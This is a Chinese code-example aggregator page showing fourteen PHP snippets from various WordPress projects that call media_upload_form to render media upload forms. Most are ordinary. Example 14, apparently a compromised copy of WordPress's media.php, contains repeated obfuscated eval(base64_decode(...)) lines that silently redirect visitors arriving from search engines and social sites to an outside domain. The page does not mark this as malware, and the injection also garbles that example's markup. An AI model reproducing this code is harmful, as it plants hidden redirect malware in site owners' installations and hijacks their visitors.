当前位置: 首页>>代码示例>>PHP>>正文


PHP media_upload_form函数代码示例

本文整理汇总了PHP中media_upload_form函数的典型用法代码示例。如果您正苦于以下问题:PHP media_upload_form函数的具体用法?PHP media_upload_form怎么用?PHP media_upload_form使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了media_upload_form函数的14个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: media_upload_form

    /**
     * Prepares a custom media upload form that allows multiple forms on one page.
     *
     * @since 1.0.0
     *
     * @param int $post_id Post ID
     * @return null Return early if the form cannot be output.
     */
    public function media_upload_form($post_id)
    {
        ?>
        <!-- Errors -->
        <div id="soliloquy-upload-error"></div>

        <!-- WP Media Upload Form -->
        <?php 
        media_upload_form();
        ?>
        <script type="text/javascript">
            var post_id = <?php 
        echo $post_id;
        ?>
, shortform = 3;
        </script>
        <input type="hidden" name="post_id" id="post_id" value="<?php 
        echo $post_id;
        ?>
" />

        <!-- Add from Media Library -->
        <a href="#" class="soliloquy-media-library button button-primary"  title="<?php 
        _e('Click Here to Insert from Other Image Sources', 'soliloquy');
        ?>
" style="vertical-align: baseline;">
            <?php 
        _e('Click Here to Insert from Other Image Sources', 'soliloquy');
        ?>
        </a>
        <?php 
    }
开发者ID:shellygraham,项目名称:lair-hill-crossing,代码行数:40,代码来源:media.php

示例2: k_media_upload_meta_box

function k_media_upload_meta_box()
{
    global $post;
    wp_enqueue_script('plupload-handlers');
    $form_class = 'media-upload-form type-form validate';
    $post_id = $post->ID;
    $_REQUEST['post_id'] = $post_id;
    ?>
		
		<style>
		#media-items { width: auto; }
		.uploaded-img-wrapper { overflow: hidden; margin-bottom: 20px; }
		.uploaded-img { display: block; float: left; margin-right: 10px; }
		</style>
		
		<?php 
    $imgs = '';
    $this_post_images =& get_children(array('post_parent' => $post_id, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'orderby' => 'menu_order', 'order' => 'ASC'));
    if (!empty($this_post_images)) {
        foreach ($this_post_images as $photo) {
            $img_edit_url = admin_url('post.php?post=' . $photo->ID . '&amp;action=edit');
            $imgs .= '<a href="' . $img_edit_url . '" title="' . __('Edit this image!', 'kazaz') . '" class="uploaded-img">' . wp_get_attachment_image($photo->ID, 'thumbnail') . '</a>';
        }
    }
    ?>
		
		<div class="uploaded-img-wrapper hide-if-no-js">
		<h4>Uploaded photos...</h4>
		<?php 
    if (!empty($imgs)) {
        echo $imgs;
    } else {
        _e('No uploaded images yet.', 'kazaz');
    }
    ?>
		</div>
	
		<?php 
    media_upload_form();
    ?>
	
		<script type="text/javascript">
		var post_id = <?php 
    echo $post_id;
    ?>
;
		var shortform = 3;
		</script>

		<div id="media-items" class="hide-if-no-js"></div>
 <?php 
}
开发者ID:CUPolishSociety,项目名称:campolsoc,代码行数:52,代码来源:galleries.php

示例3: media_upload_type_form

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.5.0
 *
 * @param string $type
 * @param object $errors
 * @param integer $id
 */
function media_upload_type_form($type = 'file', $errors = null, $id = null)
{
    media_upload_header();
    $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
    $form_action_url = admin_url("media-upload.php?type={$type}&tab=type&post_id={$post_id}");
    /**
     * Filter the media upload form action URL.
     *
     * @since 2.6.0
     *
     * @param string $form_action_url The media upload form action URL.
     * @param string $type            The type of media. Default 'file'.
     */
    $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
    $form_class = 'media-upload-form type-form validate';
    if (get_user_setting('uploader')) {
        $form_class .= ' html-uploader';
    }
    ?>

<form enctype="multipart/form-data" method="post" action="<?php 
    echo esc_url($form_action_url);
    ?>
" class="<?php 
    echo $form_class;
    ?>
" id="<?php 
    echo $type;
    ?>
-form">
<?php 
    submit_button('', 'hidden', 'save', false);
    ?>
<input type="hidden" name="post_id" id="post_id" value="<?php 
    echo (int) $post_id;
    ?>
" />
<?php 
    wp_nonce_field('media-form');
    ?>

<h3 class="media-title"><?php 
    _e('Add media files from your computer');
    ?>
</h3>

<?php 
    media_upload_form($errors);
    ?>

<script type="text/javascript">
//<![CDATA[
jQuery(function($){
	var preloaded = $(".media-item.preloaded");
	if ( preloaded.length > 0 ) {
		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
	}
	updateMediaForm();
});
//]]>
</script>
<div id="media-items"><?php 
    if ($id) {
        if (!is_wp_error($id)) {
            add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
            echo get_media_items($id, $errors);
        } else {
            echo '<div id="media-upload-error">' . esc_html($id->get_error_message()) . '</div></div>';
            exit;
        }
    }
    ?>
</div>

<p class="savebutton ml-submit">
<?php 
    submit_button(__('Save all changes'), 'button', 'save', false);
    ?>
</p>
</form>
<?php 
}
开发者ID:HaraShun,项目名称:WordPress,代码行数:91,代码来源:media.php

示例4: powerpress_media_upload_type_form

/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $type
 * @param unknown_type $errors
 * @param unknown_type $id
 */
function powerpress_media_upload_type_form($type = 'file', $errors = null, $id = null)
{
    media_upload_header();
    $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
    $form_action_url = admin_url("media-upload.php?type={$type}&tab=type&post_id={$post_id}");
    $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
    if ($id && !is_wp_error($id)) {
        $image_url = wp_get_attachment_url($id);
        powerpress_send_to_episode_entry_box($image_url);
    }
    ?>

<form enctype="multipart/form-data" method="post" action="<?php 
    echo esc_attr($form_action_url);
    ?>
" class="media-upload-form type-form validate" id="<?php 
    echo $type;
    ?>
-form">
<input type="submit" class="hidden" name="save" value="" />
<input type="hidden" name="post_id" id="post_id" value="<?php 
    echo (int) $post_id;
    ?>
" />
<?php 
    wp_nonce_field('media-form');
    ?>

<h3 class="media-title"><?php 
    echo __('Select poster image from your computer.', 'powerpress');
    ?>
</h3>

<?php 
    media_upload_form($errors);
    ?>

<script type="text/javascript">
//<![CDATA[
jQuery(document).ready( function() {
	jQuery('#sidemenu').css('display','none');
	jQuery('body').css('margin','0px 20px');
	jQuery('body').css('height','auto');
	jQuery('html').css('height','auto'); // Elimate the weird scroll bar
});
//]]>
</script>
<div id="media-items">
<?php 
    if ($id && is_wp_error($id)) {
        echo '<div id="media-upload-error">' . esc_html($id->get_error_message()) . '</div>';
    }
    ?>
</div>
</form>
<?php 
}
开发者ID:KimcoBlogSC,项目名称:Blog,代码行数:66,代码来源:powerpressadmin-metabox.php

示例5: media_upload_type_form

function media_upload_type_form($type = 'file', $errors = null, $id = null)
{
    media_upload_header();
    $post_id = intval($_REQUEST['post_id']);
    $form_action_url = get_option('siteurl') . "/wp-admin/media-upload.php?type={$type}&tab=type&post_id={$post_id}";
    $callback = "type_form_{$type}";
    ?>

<form enctype="multipart/form-data" method="post" action="<?php 
    echo attribute_escape($form_action_url);
    ?>
" class="media-upload-form type-form validate" id="<?php 
    echo $type;
    ?>
-form">
<input type="hidden" name="post_id" id="post_id" value="<?php 
    echo (int) $post_id;
    ?>
" />
<?php 
    wp_nonce_field('media-form');
    ?>
<h3><?php 
    _e('From Computer');
    ?>
</h3>
<?php 
    media_upload_form($errors);
    ?>

<script type="text/javascript">
<!--
jQuery(function($){
	var preloaded = $(".media-item.preloaded");
	if ( preloaded.length > 0 ) {
		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
	}
	updateMediaForm();
});
-->
</script>
<?php 
    if ($id && !is_wp_error($id)) {
        ?>
<div id="media-items">
<?php 
        echo get_media_items($id, $errors);
        ?>
</div>
<input type="submit" class="button savebutton" name="save" value="<?php 
        echo attribute_escape(__('Save all changes'));
        ?>
" />

<?php 
    } elseif (is_callable($callback)) {
        ?>

<div class="media-blank">
<p style="text-align:center"><?php 
        _e('&mdash; OR &mdash;');
        ?>
</p>
<h3><?php 
        _e('From URL');
        ?>
</h3>
</div>

<div id="media-items">
<div class="media-item media-blank">
<?php 
        echo call_user_func($callback);
        ?>
</div>
</div>
<input type="submit" class="button savebutton" name="save" value="<?php 
        echo attribute_escape(__('Save all changes'));
        ?>
" />
<?php 
    }
}
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:83,代码来源:media.php

示例6: intval

    echo intval($post_id);
    ?>
"><?php 
    esc_html_e($title);
    ?>
</option>
        <?php 
}
?>
    </select>

    <p>By selecting a podcast via the above selector, you enable the uploader to automatically connect the clips you upload to the selected podcast. Having uploaded the desired clips, and you would like to upload more, simply change the selected podcast and upload more clips!</p>

    <div id="wpppt-dnd-uploader">
        <?php 
media_upload_form();
?>
    </div>

	<script type="text/javascript">
	var post_id = 0, shortform = 3;
    </script>
    <input type="text" class="hidden" name="action" value="<?php 
echo esc_attr($action);
?>
">
    <?php 
wp_nonce_field($nonce_name);
?>
    <div id="media-items" class="hide-if-no-js"></div>
	</form>
开发者ID:nathanielks,项目名称:wp-podcast-post-type,代码行数:31,代码来源:bulk-upload.php

示例7: __

		if ( is_wp_error($id) ) {
			$errors['upload_error'] = $id;
			$id = false;
		}
	}

	$title = __('Upload New Media');
	$parent_file = 'upload.php';
	require_once('admin-header.php'); ?>
	<div class="wrap">
	<?php screen_icon(); ?>
	<h2><?php echo esc_html( $title ); ?></h2>

	<form enctype="multipart/form-data" method="post" action="media-upload.php?inline=&amp;upload-page-form=" class="media-upload-form type-form validate" id="file-form">

	<?php media_upload_form(); ?>

	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
		}
		updateMediaForm();
		post_id = 0;
		shortform = 1;
	});
	</script>
	<input type="hidden" name="post_id" id="post_id" value="0" />
	<?php wp_nonce_field('media-form'); ?>
	<div id="media-items"> </div>
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:31,代码来源:media-upload.php

示例8: media_upload_type_form

function media_upload_type_form($type = 'file', $errors = null, $id = null) {
	media_upload_header();

	$post_id = intval($_REQUEST['post_id']);

	$form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id");
	$form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);

	$callback = "type_form_$type";
?>

<form enctype="multipart/form-data" method="post" action="<?php echo attribute_escape($form_action_url); ?>" class="media-upload-form type-form validate" id="<?php echo $type; ?>-form">
<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
<?php wp_nonce_field('media-form'); ?>
<h3><?php _e('From Computer'); ?></h3>
<?php media_upload_form( $errors ); ?>

<script type="text/javascript">
<!--
jQuery(function($){
	var preloaded = $(".media-item.preloaded");
	if ( preloaded.length > 0 ) {
		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
	}
	updateMediaForm();
});
-->
</script>
<?php if ( $id && !is_wp_error($id) ) : ?>
<div id="media-items">
<?php echo get_media_items( $id, $errors ); ?>
</div>
<input type="submit" class="button savebutton" name="save" value="<?php echo attribute_escape( __( 'Save all changes' ) ); ?>" />

<?php elseif ( is_callable($callback) ) : ?>

<div class="media-blank">
<p style="text-align:center"><?php _e('&mdash; OR &mdash;'); ?></p>
<h3><?php _e('From URL'); ?></h3>
</div>

<script type="text/javascript">
//<![CDATA[
var addExtImage = {

	width : '',
	height : '',
	align : 'alignnone',

	insert : function() {
		var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = null;

		if ( '' == f.src.value || '' == t.width ) return false;

		if ( f.title.value ) {
			title = f.title.value.replace(/['"<>]+/g, '');
			title = ' title="'+title+'"';
		}

		if ( f.alt.value ) {
			alt = f.alt.value.replace(/['"<>]+/g, '');
<?php if ( ! apply_filters( 'disable_captions', '' ) ) { ?>
			caption = f.alt.value.replace(/'/g, '&#39;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
<?php } ?>
		}

		cls = caption ? '' : ' class="'+t.align+'"';

		html = '<img alt="'+alt+'" src="'+f.src.value+'"'+title+cls+' width="'+t.width+'" height="'+t.height+'" />';

		if ( f.url.value )
			html = '<a href="'+f.url.value+'">'+html+'</a>';

		if ( caption )
			html = '[caption id="" align="'+t.align+'" width="'+t.width+'" caption="'+caption+'"]'+html+'[/caption]';

		var win = window.dialogArguments || opener || parent || top;
		win.send_to_editor(html);
	},

	resetImageData : function() {
		var t = addExtImage;

		t.width = t.height = '';
		document.getElementById('go_button').style.color = '#bbb';
		if ( ! document.forms[0].src.value )
			document.getElementById('status_img').src = 'images/required.gif';
		else document.getElementById('status_img').src = 'images/no.png';
	},

	updateImageData : function() {
		var t = addExtImage;

		t.width = t.preloadImg.width;
		t.height = t.preloadImg.height;
		document.getElementById('go_button').style.color = '#333';
		document.getElementById('status_img').src = 'images/yes.png';
	},

	getImageData : function() {
//.........这里部分代码省略.........
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:101,代码来源:media.php

示例9: select_images_page

    function select_images_page($post_type, $options)
    {
        // remove browser upload option
        remove_all_actions('post-plupload-upload-ui');
        if (!current_user_can('upload_files')) {
            wp_die(__('You do not have permission to upload files.', THEME_ADMIN_TD));
        }
        wp_enqueue_script('plupload-handlers');
        wp_enqueue_script('image-edit');
        wp_enqueue_script('set-post-thumbnail');
        wp_enqueue_style('imgareaselect');
        @header('Content-Type: ' . get_option('html_type') . '; charset=' . get_option('blog_charset'));
        // IDs should be integers
        $ID = isset($ID) ? (int) $ID : 0;
        $post_id = isset($post_id) ? (int) $post_id : 0;
        // Require an ID for the edit screen
        if (isset($action) && $action == 'edit' && !$ID) {
            wp_die(__('You are not allowed to be here', THEME_ADMIN_TD));
        }
        $errors = array();
        if (isset($_POST['html-upload']) && !empty($_FILES)) {
            check_admin_referer('media-form');
            // Upload File button was clicked
            $id = media_handle_upload('async-upload', $_REQUEST['post_id']);
            unset($_FILES);
            if (is_wp_error($id)) {
                $errors['upload_error'] = $id;
                $id = false;
            }
        }
        if (isset($_GET['upload-page-form'])) {
            $errors = array_merge($errors, (array) media_upload_form_handler());
            $location = 'upload.php';
            if ($errors) {
                $location .= '?message=3';
            }
            wp_redirect(admin_url($location));
            exit;
        }
        $title = __('Upload New Media', THEME_ADMIN_TD);
        $parent_file = 'upload.php';
        require_once './admin-header.php';
        $form_class = 'media-upload-form type-form validate';
        if (get_user_setting('uploader')) {
            $form_class .= ' html-uploader';
        }
        ?>
        <div class="wrap">
        <?php 
        screen_icon();
        ?>
        <h2><?php 
        echo esc_html($title);
        ?>
</h2>

        <form enctype="multipart/form-data" method="post" action="<?php 
        echo admin_url('edit.php?post_type=' . $post_type . '&amp;page=' . $post_type . '-quick');
        ?>
" class="<?php 
        echo $form_class;
        ?>
" id="file-form">

        <?php 
        media_upload_form();
        ?>

        <script type="text/javascript">
        jQuery(function($){
            var preloaded = $(".media-item.preloaded");
            if ( preloaded.length > 0 ) {
                preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
            }
            updateMediaForm();
            post_id = 0;
            shortform = 1;
        });
        </script>
        <input type="hidden" name="post_id" id="post_id" value="0" />
        <input type="hidden" name="sub_page" value="create_posts" />
        <?php 
        wp_nonce_field('media-form');
        ?>
        <div id="media-items" class="hide-if-no-js"></div>
        <?php 
        submit_button(__('Use these images', THEME_ADMIN_TD), 'button savebutton', 'save');
        ?>
        </form>
        </div>

        <?php 
    }
开发者ID:vanie3,项目名称:appland,代码行数:93,代码来源:quick-uploader.php

示例10: media_upload_type_form

/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $type
 * @param unknown_type $errors
 * @param unknown_type $id
 */
function media_upload_type_form($type = 'file', $errors = null, $id = null)
{
    media_upload_header();
    $post_id = intval($_REQUEST['post_id']);
    $form_action_url = admin_url("media-upload.php?type={$type}&tab=type&post_id={$post_id}");
    $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
    ?>

<form enctype="multipart/form-data" method="post" action="<?php 
    echo attribute_escape($form_action_url);
    ?>
" class="media-upload-form type-form validate" id="<?php 
    echo $type;
    ?>
-form">
<input type="hidden" name="post_id" id="post_id" value="<?php 
    echo (int) $post_id;
    ?>
" />
<?php 
    wp_nonce_field('media-form');
    ?>

<h3 class="media-title"><?php 
    _e('Add media files from your computer');
    ?>
</h3>

<?php 
    media_upload_form($errors);
    ?>

<script type="text/javascript">
<!--
jQuery(function($){
	var preloaded = $(".media-item.preloaded");
	if ( preloaded.length > 0 ) {
		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
	}
	updateMediaForm();
});
-->
</script>
<div id="media-items">
<?php 
    if ($id) {
        if (!is_wp_error($id)) {
            echo get_media_items($id, $errors);
        } else {
            echo '<div id="media-upload-error">' . wp_specialchars($id->get_error_message()) . '</div>';
            exit;
        }
    }
    ?>
</div>
<input type="submit" class="button savebutton" name="save" value="<?php 
    echo attribute_escape(__('Save all changes'));
    ?>
" />
<?php 
}
开发者ID:SymbiSoft,项目名称:litprojects,代码行数:70,代码来源:media.php

示例11: p2_media_upload_form

function p2_media_upload_form()
{
    require ABSPATH . '/wp-admin/includes/template.php';
    media_upload_form();
}
开发者ID:cabelotaina,项目名称:redelivre,代码行数:5,代码来源:template-tags.php

示例12: cwpt_preview_box

function cwpt_preview_box()
{
    echo 'hello world';
    media_upload_form();
    //echo '<p><iframe src="' .site_url(). '" width="100%" height="500"></iframe></p>';
}
开发者ID:repo-storage,项目名称:core-wp,代码行数:6,代码来源:custom-options.php

示例13: formTemplate

    public function formTemplate($type = 'file', $errors = null, $id = null)
    {
        wp_register_style('js_composer', $this->assetURL('js_composer.css'), false, WPB_VC_VERSION, false);
        wp_enqueue_style('js_composer');
        //wp_register_style( 'bootstrap', $this->assetURL( 'bootstrap/css/bootstrap.css' ), false, WPB_VC_VERSION, false );
        //wp_enqueue_style('bootstrap');
        wp_register_style('ui-custom-theme', $this->assetURL('ui-custom-theme/jquery-ui-1.8.18.custom.css'), false, WPB_VC_VERSION, false);
        wp_enqueue_style('ui-custom-theme');
        wp_register_script('wpb_js_composer_js', $this->assetURL('js_composer.js'), array('jquery'), WPB_VC_VERSION, true);
        wp_enqueue_script('jquery-ui-tabs');
        wp_enqueue_script('jquery-ui-droppable');
        wp_enqueue_script('jquery-ui-draggable');
        wp_enqueue_script('jquery-ui-accordion');
        wp_enqueue_script('jquery-ui-sortable');
        //wp_enqueue_script('bootstrap-js');
        global $is_iphone;
        global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
        if ($is_iphone) {
            return;
        }
        $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
        $form_action_url = admin_url("media-upload.php?type={$this->type}&tab=type&post_id={$post_id}");
        $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $this->type);
        $form_class = 'media-upload-form type-form validate';
        if (get_user_setting('uploader')) {
            $form_class .= ' html-uploader';
        }
        ?>
        <div class="log"></div>
        <div class="wpb_media_tab row-fluid">
            <div class="<?php 
        echo (int) $this->get('single_image') == 0 ? 'span6' : 'span12';
        ?>
">
            <h2 class="media-title"><?php 
        _e('Click image from media library or drag it to the "Selected images" area', 'js_composer');
        ?>
</h2>
            <div id="wpb_composer_media_list">
                <?php 
        echo $this->getContentList();
        ?>
            </div>
            <script type="text/javascript">
                post_id = <?php 
        echo $post_id;
        ?>
;
            </script>
            <form enctype="multipart/form-data" method="post" action="<?php 
        echo esc_attr($form_action_url);
        ?>
" class="<?php 
        echo $form_class;
        ?>
" id="<?php 
        echo $this->type;
        ?>
-form">
                <?php 
        submit_button('', 'hidden', 'save', false);
        ?>
                <input type="hidden" name="post_id" id="post_id" value="<?php 
        echo (int) $post_id;
        ?>
" />
                <?php 
        wp_nonce_field('media-form');
        ?>

                <h2 class="media-title"><?php 
        _e('or add images from your computer.', 'js_composer');
        ?>
</h2>

                <?php 
        media_upload_form($this->errors);
        ?>

                <div id="media-items"><?php 
        if ($this->id) {
            if (!is_wp_error($this->id)) {
                add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
                echo get_media_items($this->id, $this->errors);
            } else {
                echo '<div id="media-upload-error">' . esc_html($this->id->get_error_message()) . '</div></div>';
                exit;
            }
        }
        ?>
</div>

                <p class="savebutton ml-submit" style="display:none;">
                    <!-- <?php 
        submit_button(__('Save all changes'), 'button', 'save', false);
        ?>
 -->
                </p>
            </form>
            </div>
//.........这里部分代码省略.........
开发者ID:nilmadhab,项目名称:webtutplus,代码行数:101,代码来源:media_tab.php

示例14: media_upload_type_form

/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $type
 * @param unknown_type $errors
 * @param unknown_type $id
 */
function media_upload_type_form($type = 'file', $errors = null, $id = null)
{
    media_upload_header();
    $post_id = intval($_REQUEST['post_id']);
    $form_action_url = admin_url("media-upload.php?type={$type}&tab=type&post_id={$post_id}");
    $form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
    ?>

<form enctype="multipart/form-data" method="post" action="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo esc_attr($form_action_url);
    ?>
" class="media-upload-form type-form validate" id="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $type;
    ?>
-form">
<input type="submit" class="hidden" name="save" value="" />
<input type="hidden" name="post_id" id="post_id" value="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJb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/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Add media files from your computer');
    ?>
</h3>

<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    media_upload_form($errors);
    ?>

<script type="text/javascript">
//<![CDATA[
jQuery(function($){
	var preloaded = $(".media-item.preloaded");
	if ( preloaded.length > 0 ) {
		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
	}
	updateMediaForm();
});
//]]>
</script>
<div id="media-items">
<?php 
